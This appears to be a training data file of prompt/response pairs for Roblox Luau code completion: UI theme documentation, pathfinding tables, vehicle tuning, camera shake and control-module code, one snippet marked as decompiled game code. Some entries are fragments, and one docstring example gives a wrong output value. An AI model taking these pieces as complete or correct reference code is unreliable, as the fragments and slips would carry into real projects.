Prompt:
--[[

	Notice:
		All themes MUST include a StringValue named "Base_Theme" that tells the script where to pull GUIs and Configs from
		if they aren't found in the selected theme. Generally this should have it's value set to "Default" unless
		the theme is derived from another existing theme (such as if you made a new theme using the "Hydris" theme,
		the Base_Theme value would be set to "Hydris" so you don't need to copy all the code modules and all that)

		Alternatively, each individual GUI can include a StringValue in their Config folder named "BaseTheme" which
		acts identical to Base_Theme, however is instead on a per-GUI basis instead of theme-wide. This allows you
		to mix GUIs based on GUIs in different themes together into one theme.

		It should be noted that this functionality has a capped depth of 10 themes deep.
		Here's somewhat of a visual to help you better understand what I mean by depth:

		ThemeToFind		<- First GUI/Theme Checked (the one selected)
		> BaseTheme1	<- Next theme checked (first theme's Base_Theme)
		>> BaseTheme2	<- BaseTheme1's Base_Theme
		>>> BaseTheme3	<- BaseTheme2's Base_Theme
		>>>> BaseTheme4 <- BaseTheme3's Base_Theme

		The above will go on until it either reaches a depth of 10 (BaseTheme10) or reaches
		a theme with no Base_Theme set. Usually the last theme in the sequence will be
		the "Default" theme as it's Base_Theme is empty because it should never need to pull
		from any other themes.

	Basic theming related information;

		All Adonis GUIs have a code module that makes them run. If you are only changing minor things on an
		existing GUI (such as colors) then you do not need to include a code module, instead it will use the
		default's. If you need to change the code for the GUI then you MUST include a code module inside a Config
		folder.

		GUIs can avoid clearing the chat every time they appear by using client.UI.Prepare(gui)
		To see an example of this refer to the Message GUI; In it the only line that needed to be
		changed was local gui = script.Parent.Parent to local gui = client.UI.Prepare(script.Parent.Parent)
		When PrepareGui is called on an already registered GUI the script will handle updating everything
		accordingly.

		The function for every GUI has a global named gTable. gTable contains all GUI related functions and information
		used by the script. When a GUI is ready to appear use gTable:Ready() instead of gui.Parent = playergui.
		For removing the GUI it is prefered that you use gTable:Destroy() as it will unregister the GUI when it
		destroys it. It is not required and just ensures that the GUI is properly cleaned up, however it should
		also clean itself up when it's destroyed normally.

		GUI themes do NOT need to be folders containing GUIs! You can made a new module that alters or creates
		GUIs (refer to Colorize theme.) These modules can also contain GUIs like a normal theme folder aswell.
		If the theme module creates its own GUI on the fly, it must return something when it's done and handle all
		of the GUI related code itself. Including registering the new GUi it created via
		local gTable,gIndex = client.UI.Register(GUIObjectHere). The module must handle every aspect of the GUI's
		creation process that normally client.UI.Make would. If it returns a ScreenGui, the default code for the
		GUI will be used from the Hybrid theme, and it will be registered by the script like normal. If something
		other than nil that isn't a ScreenGui is returned, the script will ignore the rest of the normal loading
		process and return whatever the module returned.

		Refer to the code and GUIs in the hybrid theme folder for examples.

		NOTE:
			The config folder will be parented to nil once gTable:Ready() is called, before the GUI is parented.
			You should preference all GUI elements instead of using script.Parent.X, as otherwise there will be
			an error about indexing a nil value (the parent). It will only become nil AFTER gTable:Ready() is called
			so anything after the call cannot reference script.Parent directly. You must use gTable:Ready() when the
			GUI is ready to be displayed, otherwise unintended behaviour may occur.

	Client UI Functions;

		client.UI.GetHolder()
			- This will return the primary ScreenGui object that all GUIs will go into after becoming a TextLabel (not currently used)

		client.UI.Prepare(gui)
			- If gui is a ScreenGui; Transfers content to a new TextLabel and returns the new TextLabel; Else returns gui

		client.UI.Make(guiName,guiData,themeData)
			- Responsible for handling the creation and registering of new UI elements
			- guiName is the name of the GUI to find/create
			- guiData is the data table passed to the GUI's code module function
			- themeData is a table containing information about what theme to use
			- Returns whatever GUI's code module returns

		client.UI.Get(Name,Ignore,returnOne)
			- Finds and returns registered GUI gTables matching name
			- Name is the name of the GUI to find
			- Ignore is a GUI to ignore when trying to find the target
			- if returnOne is true, return a single found gTable instead of a table containing all found ones

		client.UI.Remove(Name,Ignore)
			- Finds registered GUIs matching Name and removes them
			- If Ignore is set to a GUI; don't remove it when/if found

		client.UI.Register(gui)
			- Handles the registration of new GUIs
			- Returns gTable,gIndex

--]]

Response: return function() end


Prompt: --Precalculated paths

Response:
local t,f,n=true,false,{}
local r={
[58]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58},t},
[49]={{55,51,50,47,48,49},t},
[16]={n,f},
[19]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19},t},
[59]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59},t},
[63]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62,63},t},
[34]={{55,51,50,47,48,49,45,44,28,29,31,32,34},t},
[21]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21},t},
[48]={{55,51,50,47,48},t},
[27]={{55,51,50,47,48,49,45,44,28,27},t},
[14]={n,f},
[31]={{55,51,50,47,48,49,45,44,28,29,31},t},
[56]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56},t},
[29]={{55,51,50,47,48,49,45,44,28,29},t},
[13]={n,f},
[47]={{55,51,50,47},t},
[12]={n,f},
[45]={{55,51,50,47,48,49,45},t},
[57]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,57},t},
[36]={{55,51,50,47,48,49,45,44,28,29,31,32,33,36},t},
[25]={{55,51,50,47,48,49,45,44,28,27,26,25},t},
[71]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71},t},
[20]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20},t},
[60]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,75},t},
[22]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,21,22},t},
[74]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73,74},t},
[62]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{55,51,50,47,48,49,45,44,28,29,31,32,33,36,37},t},
[2]={n,f},
[35]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35},t},
[53]={{55,54,53},t},
[73]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76,73},t},
[72]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72},t},
[33]={{55,51,50,47,48,49,45,44,28,29,31,32,33},t},
[69]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,60,69},t},
[65]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,65},t},
[26]={{55,51,50,47,48,49,45,44,28,27,26},t},
[68]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67,68},t},
[76]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61,71,72,76},t},
[50]={{55,51,50},t},
[66]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{55,51,50,47,48,49,45,44,28,27,26,25,24},t},
[23]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,23},t},
[44]={{55,51,50,47,48,49,45,44},t},
[39]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39},t},
[32]={{55,51,50,47,48,49,45,44,28,29,31,32},t},
[3]={n,f},
[30]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30},t},
[51]={{55,51},t},
[18]={n,f},
[67]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64,67},t},
[61]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,59,61},t},
[55]={{55},t},
[46]={{55,51,50,47,46},t},
[42]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,38,42},t},
[40]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,40},t},
[52]={{55,54,53,52},t},
[54]={{55,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41},t},
[17]={n,f},
[38]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,38},t},
[28]={{55,51,50,47,48,49,45,44,28},t},
[5]={n,f},
[64]={{55,51,50,47,48,49,45,44,28,29,31,32,34,35,39,41,30,56,58,20,19,66,64},t},
}
return r


Prompt: -- создаётся инструмент по перекрашиванию объектов

Response:
local Players = game:GetService("Players")

local localPlayer = Players.LocalPlayer
local backpack = localPlayer:WaitForChild("Backpack")

local tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.CanBeDropped = false
tool.Parent = backpack

tool.Equipped:Connect(function(mouse)
	mouse.Button1Down:Connect(function()
		if mouse.Target and mouse.Target.Parent then
			mouse.Target.BrickColor = BrickColor.Random()
		end
	end)
end)


Prompt: --// Declarables

Response:
local L_15_ = false

local L_16_ = false

local L_17_ = L_1_:WaitForChild('Resource')
local L_18_ = L_17_:WaitForChild('FX')
local L_19_ = L_17_:WaitForChild('Events')
local L_20_ = L_17_:WaitForChild('HUD')
local L_21_ = L_17_:WaitForChild('Modules')
local L_22_ = L_17_:WaitForChild('SettingsModule')
local L_23_ = require(L_22_:WaitForChild("ClientConfig"))
local L_24_ = L_17_:WaitForChild('Vars')

local L_25_
local L_26_

local L_27_

local L_28_
local L_29_
local L_30_
local L_31_
local L_32_
local L_33_
local L_34_

local L_35_ = L_23_.AimZoom

local L_36_ = L_23_.MouseSensitivity
local L_37_ = L_12_.MouseDeltaSensitivity


Prompt:
--[=[
	@within TableUtil
	@function Reconcile
	@param source table
	@param template table
	@return table

	Performs a one-way sync on the `source` table against the
	`template` table. Any keys found in `template` that are
	not found in `source` will be added to `source`. This is
	useful for syncing player data against data template tables
	to ensure players have all the necessary keys, while
	maintaining existing keys that may no longer be in the
	template.

	This is a deep operation, so nested tables will also be
	properly reconciled.

	```lua
	local template = {kills = 0, deaths = 0, xp = 0}
	local data = {kills = 10, abc = 20}
	local correctedData = TableUtil.Reconcile(data, template)

	print(correctedData) --> {kills = 10, deaths = 0, xp = 0, abc = 30}
	```
]=]

Response:
local function Reconcile(src: Table, template: Table): Table

	assert(type(src) == "table", "First argument must be a table")
	assert(type(template) == "table", "Second argument must be a table")

	local tbl = table.clone(src)

	for k,v in pairs(template) do
		local sv = src[k]
		if sv == nil then
			if type(v) == "table" then
				tbl[k] = Copy(v, true)
			else
				tbl[k] = v
			end
		elseif type(sv) == "table" then
			if type(v) == "table" then
				tbl[k] = Reconcile(sv, v)
			else
				tbl[k] = Copy(sv, true)
			end
		end
	end

	return tbl

end


Prompt:
--[[
	@class Blend.story
]]

Response:
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script)

local RunService = game:GetService("RunService")

local Blend = require("Blend")
local Maid = require("Maid")
local ValueObject = require("ValueObject")
local Rx = require("Rx")

return function(target)
	local maid = Maid.new()

	local percentVisible = Blend.State(0)
	local state = Blend.State("a")
	maid:GiveTask(state)

	local uiCornerValueObject = ValueObject.new()
	uiCornerValueObject.Value = Blend.New "UICorner" {
		CornerRadius = UDim.new(0, 5);
	};
	maid:GiveTask(uiCornerValueObject)

	-- Reassign to a new value
	task.delay(1, function()
		if uiCornerValueObject.Destroy then
			uiCornerValueObject.Value = Blend.New "UICorner" {
				CornerRadius = UDim.new(0, 25);
			};
		end
	end)

	maid:GiveTask((Blend.New "TextLabel" {
		Parent = target;
		Size = Blend.Computed(percentVisible, function(visible)
			return UDim2.new(0, visible*100, 0, 50);
		end);
		BackgroundTransparency = Blend.Computed(percentVisible, function(visible)
			return 1 - visible
		end);
		Position = UDim2.new(0.5, 0, 0.5, 0);
		AnchorPoint = Vector2.new(0.5, 0.5);
		Text = state;
		TextScaled = true;

		[Blend.Children] = {
			uiCornerValueObject;

			Rx.NEVER;
			Rx.EMPTY;

			{
				Blend.Single(Blend.Computed(percentVisible, function(visible)
					if visible <= 0.5 then
						return nil
					else
						return Blend.New "Frame" {
							Size = UDim2.new(0, 100, 0, 100);
							BackgroundTransparency = 0.5;
						}
					end
				end));

			};

			{
				Blend.Single(Blend.Computed(percentVisible, function(visible)
					local results = {}

					-- constructs a ton of children everytime this changes
					for x=0, visible*100, 10 do
						table.insert(results, Blend.New "Frame" {
							Size = UDim2.new(0, 8, 0, 8);
							Position = UDim2.new(0, x, 0.9, 0);
							AnchorPoint = Vector2.new(0.5, 0.5);
							BorderSizePixel = 0;
							BackgroundColor3 = Color3.new(x/100, 0.5, 0.5);

							[Blend.Children] = {
								Blend.New "UICorner" {
									CornerRadius = UDim.new(0.5, 5);
								};
							};
						})
					end

					return results
				end));
			};
		};
	}):Subscribe())

	local PERIOD = 5
	maid:GiveTask(RunService.RenderStepped:Connect(function()
		state.Value = tostring(os.clock())
		percentVisible.Value = (math.sin(os.clock()*math.pi*2/PERIOD) + 1)/2
	end))

	return function()
		maid:DoCleaning()
	end
end


Prompt: --Precalculated paths

Response:
local t,f,n=true,false,{}
local r={
[58]={{74,73,76,72,71,61,59,41,30,56,58},t},
[49]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{74,73,76,72,71,61,59,41,30,56,58,20,19},t},
[59]={{74,73,76,72,71,61,59},t},
[63]={{74,73,76,72,71,61,59,41,30,56,58,23,62,63},t},
[34]={{74,73,76,72,71,61,59,41,39,35,34},t},
[21]={{74,73,76,72,71,61,59,41,30,56,58,20,21},t},
[48]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{74,73,76,72,71,61,59,41,39,35,34,32,31},t},
[56]={{74,73,76,72,71,61,59,41,30,56},t},
[29]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45},t},
[57]={{74,73,76,72,71,61,59,41,30,56,57},t},
[36]={{74,73,76,72,71,61,59,41,39,35,37,36},t},
[25]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{74,73,76,72,71},t},
[20]={{74,73,76,72,71,61,59,41,30,56,58,20},t},
[60]={{74,73,76,72,71,61,60},t},
[8]={n,f},
[4]={n,f},
[75]={{74,73,75},t},
[22]={{74,73,76,72,71,61,59,41,30,56,58,20,21,22},t},
[74]={{74},t},
[62]={{74,73,76,72,71,61,59,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{74,73,76,72,71,61,59,41,39,35,37},t},
[2]={n,f},
[35]={{74,73,76,72,71,61,59,41,39,35},t},
[53]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{74,73},t},
[72]={{74,73,76,72},t},
[33]={{74,73,76,72,71,61,59,41,39,35,37,36,33},t},
[69]={{74,73,76,72,71,61,69},t},
[65]={{74,73,76,72,71,61,59,41,30,56,58,20,19,66,64,65},t},
[26]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26},t},
[68]={{74,73,76,72,71,61,59,41,30,56,58,20,19,66,64,67,68},t},
[76]={{74,73,76},t},
[50]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{74,73,76,72,71,61,59,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{74,73,76,72,71,61,59,41,30,56,58,23},t},
[44]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44},t},
[39]={{74,73,76,72,71,61,59,41,39},t},
[32]={{74,73,76,72,71,61,59,41,39,35,34,32},t},
[3]={n,f},
[30]={{74,73,76,72,71,61,59,41,30},t},
[51]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{74,73,76,72,71,61,59,41,30,56,58,20,19,66,64,67},t},
[61]={{74,73,76,72,71,61},t},
[55]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{74,73,76,72,71,61,59,41,39,40,38,42},t},
[40]={{74,73,76,72,71,61,59,41,39,40},t},
[52]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{74,73,76,72,71,61,59,41},t},
[17]={n,f},
[38]={{74,73,76,72,71,61,59,41,39,40,38},t},
[28]={{74,73,76,72,71,61,59,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{74,73,76,72,71,61,59,41,30,56,58,20,19,66,64},t},
}
return r


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 800		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: -- Uber l33t maths to calcluate the angle needed to throw a projectile a distance, given the altitude of the end point and the projectile's velocity

Response:
function AngleOfReach(distance, altitude, velocity)
	local theta = math.atan((velocity^2 + math.sqrt(velocity^4 -196.2*(196.2*distance^2 + 2*altitude*velocity^2)))/(196.2*distance))
	if theta ~= theta then
		theta = math.pi/4
	end
	return(theta)
end


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true	-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 400		-- Spring Dampening
	Tune.FSusStiffness	= 17000		-- Spring Force
	Tune.FSusLength		= .8		-- Resting Suspension length (in studs)
	Tune.FSusMaxExt		= .15		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .05		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 75		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 6			-- Wishbone Length
	Tune.FWsBoneAngle	= 3			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 400		-- Spring Dampening
	Tune.RSusStiffness	= 17000		-- Spring Force
	Tune.RSusLength		= .8		-- Resting Suspension length (in studs)
	Tune.RSusMaxExt		= .15		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .05		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 2			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really red"		-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 8				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
local v2 = require(game.ReplicatedStorage.Modules.Lightning);
local v3 = require(game.ReplicatedStorage.Modules.Xeno);
local v4 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local l__ReplicatedStorage__1 = game.ReplicatedStorage;
function v1.RunStompFx(p1, p2, p3, p4)
	local v7 = l__ReplicatedStorage__1.KillFX[p1].Stomp:Clone();
	v7.Parent = p2.Parent.UpperTorso and p2;
	v7:Play();
	game.Debris:AddItem(v7, 2);
	local v8 = l__ReplicatedStorage__1.KillFX[p1].Effect:Clone();
	v8.Parent = workspace.Ignored.Animations;
	v8.Main.Effect:Play();
	v8.Main.CFrame = CFrame.new(p2.Position.X, p2.Position.Y - 1, p2.Position.Z);
	game.Debris:AddItem(v8, 4);
	game:GetService("TweenService"):Create(v8.Main, TweenInfo.new(4), {
		CFrame = CFrame.new(p2.Position.X, p2.Position.Y - 1, p2.Position.Z) * CFrame.fromEulerAnglesXYZ(0, 1800, 0)
	}):Play();
	return nil;
end;
return v1;


Response:
end
else
print("sh")
end
else
print("arms")
end
end
function Key(key)
if key then
key = string.lower(key)
if (key=="x") then
if on == 1 then
on = 0
elseif on == 0 then
on = 1
end
Crouch(on)
end
end
end
function Equip(mouse)
mouse.KeyDown:connect(Key)
end
script.Parent.Equipped:connect(Equip)


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0

script:WaitForChild("Rev")
script:WaitForChild("Supercharger")

if not FE then
	for i,v in pairs(car.DriveSeat:GetChildren()) do
		for _,a in pairs(script:GetChildren()) do
			if v.Name==a.Name then v:Stop() wait() v:Destroy() end
		end
	end
	for i,v in pairs(script:GetChildren()) do
		v.Parent=car.DriveSeat
	end

	car.DriveSeat.Rev:Play()
	car.DriveSeat.Supercharger:Play()
	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		car.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
		car.DriveSeat.Supercharger.Pitch = (car.DriveSeat.Supercharger.SetPitch.Value + car.DriveSeat.Supercharger.SetRev.Value*_RPM/_Tune.Redline)*on^2
	end
else
	local handler = car.AC6_FE_Sounds
	handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
	handler:FireServer("playSound","Rev")
	local pitch=0
	while wait() do
		local _RPM = script.Parent.Values.RPM.Value

		if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		pitch = (script.Supercharger.SetPitch.Value + script.Supercharger.SetRev.Value*_RPM/_Tune.Redline)*on^2
		pitch = (script.Supercharger.SetPitch.Value + script.Supercharger.SetRev.Value*_RPM/_Tune.Redline)*on^2
		handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume)
	end
end


Prompt: -- the isOpen value is used to tell if the shop is open or not.

Response: local isOpen = shopBtn.isOpen


Prompt: --s.Pitch = 0.7

Response:
while s.Pitch<1 do
s.Pitch=s.Pitch+0.01315
s:Play()
if s.Pitch>1 then
	s.Pitch=1
end
wait(0.001)
end


Prompt:
--[[

	CameraShaker.CameraShakeInstance

	cameraShaker = CameraShaker.new(renderPriority, callbackFunction)

	CameraShaker:Start()
	CameraShaker:Stop()
	CameraShaker:StopSustained([fadeOutTime])
	CameraShaker:Shake(shakeInstance)
	CameraShaker:ShakeSustain(shakeInstance)
	CameraShaker:ShakeOnce(magnitude, roughness [, fadeInTime, fadeOutTime, posInfluence, rotInfluence])
	CameraShaker:StartShake(magnitude, roughness [, fadeInTime, posInfluence, rotInfluence])

	EXAMPLE:

		local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCFrame)
			camera.CFrame = playerCFrame * shakeCFrame
		end)

		camShake:Start()

		-- Explosion shake:
		camShake:Shake(CameraShaker.Presets.Explosion)

		wait(1)

		-- Custom shake:
		camShake:ShakeOnce(3, 1, 0.2, 1.5)

		-- Sustained shake:
		camShake:ShakeSustain(CameraShaker.Presets.Earthquake)

		-- Stop all sustained shakes:
		camShake:StopSustained(1) -- Argument is the fadeout time (defaults to the same as fadein time if not supplied)

		-- Stop only one sustained shake:
		shakeInstance = camShake:ShakeSustain(CameraShaker.Presets.Earthquake)
		wait(2)
		shakeInstance:StartFadeOut(1) -- Argument is the fadeout time

	NOTE:

		This was based entirely on the EZ Camera Shake asset for Unity3D. I was given written
		permission by the developer, Road Turtle Games, to port this to Roblox.

		Original asset link: https://assetstore.unity.com/packages/tools/camera/ez-camera-shake-33148

		GitHub repository: https://github.com/Sleitnick/RbxCameraShaker

--]]

Response:
local CameraShaker = {}
CameraShaker.__index = CameraShaker

local profileBegin = debug.profilebegin
local profileEnd = debug.profileend
local profileTag = "CameraShakerUpdate"

local V3 = Vector3.new
local CF = CFrame.new
local ANG = CFrame.Angles
local RAD = math.rad
local v3Zero = V3()

local CameraShakeInstance = require(script.CameraShakeInstance)
local CameraShakeState = CameraShakeInstance.CameraShakeState

local defaultPosInfluence = V3(0.15, 0.15, 0.15)
local defaultRotInfluence = V3(1, 1, 1)

CameraShaker.CameraShakeInstance = CameraShakeInstance


Prompt:
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder

]]

Response:
--

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
local function u2(p1, p2)
	p2 = p2 or {};
	if type(p1) ~= "table" then
		return p1;
	end;
	if p2[p1] then
		return p2[p1];
	end;
	local v1 = {};
	p2[p1] = v1;
	for v2, v3 in next, p1 do
		v1[u2(v2, p2)] = u2(v3, p2);
	end;
	setmetatable(v1, u2(getmetatable(p1), p2));
	return v1;
end;
return function(p3, p4)
	if p4 then
		return u2(p3);
	end;
	return u1.HttpService:JSONDecode(u1.HttpService:JSONEncode(p3));
end;


Prompt: ---Camera

Response:
game:GetService("RunService").RenderStepped:connect(function()
	if _MSteer then
		cam.CameraType = "Follow"
		local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
		local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-(car.DriveSeat.CFrame.lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
		cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
	elseif cam.CameraType ~= "Follow" then
		cam.CameraType = "Follow"
	end
end)


Prompt:
-- Helper function to lazily instantiate a controller if it does not yet exist,
-- disable the active controller if it is different from the on being switched to,
-- and then enable the requested controller. The argument to this function must be
-- a reference to one of the control modules, i.e. Keyboard, Gamepad, etc.

Response:
function ControlModule:SwitchToController(controlModule)
	if not controlModule then
		if self.activeController then
			self.activeController:Enable(false)
		end
		self.activeController = nil
		self.activeControlModule = nil
	else
		if not self.controllers[controlModule] then
			self.controllers[controlModule] = controlModule.new(CONTROL_ACTION_PRIORITY)
		end

		if self.activeController ~= self.controllers[controlModule] then
			if self.activeController then
				self.activeController:Enable(false)
			end
			self.activeController = self.controllers[controlModule]
			self.activeControlModule = controlModule -- Only used to check if controller switch is necessary

			if self.touchControlFrame and (self.activeControlModule == ClickToMove
						or self.activeControlModule == TouchThumbstick
						or self.activeControlModule == DynamicThumbstick) then
				if not self.controllers[TouchJump] then
					self.controllers[TouchJump] = TouchJump.new()
				end
				self.touchJumpController = self.controllers[TouchJump]
				self.touchJumpController:Enable(true, self.touchControlFrame)
			else
				if self.touchJumpController then
					self.touchJumpController:Enable(false)
				end
			end

			self:EnableActiveControlModule()
		end
	end
end

function ControlModule:OnLastInputTypeChanged(newLastInputType)
	if lastInputType == newLastInputType then
		warn("LastInputType Change listener called with current type.")
	end
	lastInputType = newLastInputType

	if lastInputType == Enum.UserInputType.Touch then
		-- TODO: Check if touch module already active
		local touchModule, success = self:SelectTouchModule()
		if success then
			while not self.touchControlFrame do
				wait()
			end
			self:SwitchToController(touchModule)
		end
	elseif computerInputTypeToModuleMap[lastInputType] ~= nil then
		local computerModule = self:SelectComputerMovementModule()
		if computerModule then
			self:SwitchToController(computerModule)
		end
	end
end


Prompt: -- Initial settings for ScreenshotHud

Response:
if ScreenshotHud then
	ScreenshotHud.OverlayFont = Enum.Font.GothamMedium
	ScreenshotHud.ExperienceNameOverlayEnabled = true
	ScreenshotHud.UsernameOverlayEnabled = false
	ScreenshotHud.CloseWhenScreenshotTaken = false

	-- Placing the close button off-screen since we don't use it
	ScreenshotHud.CloseButtonPosition = UDim2.fromScale(-1, -1)
end

local initialSpawn = true
local mountedTree
local connections = {}
local disconnectActions: (() -> ())?

local function handleActionActivation()
	local cleanupMap: { [any]: () -> () } = {}
	local conns: { [string]: RBXScriptConnection } = {}

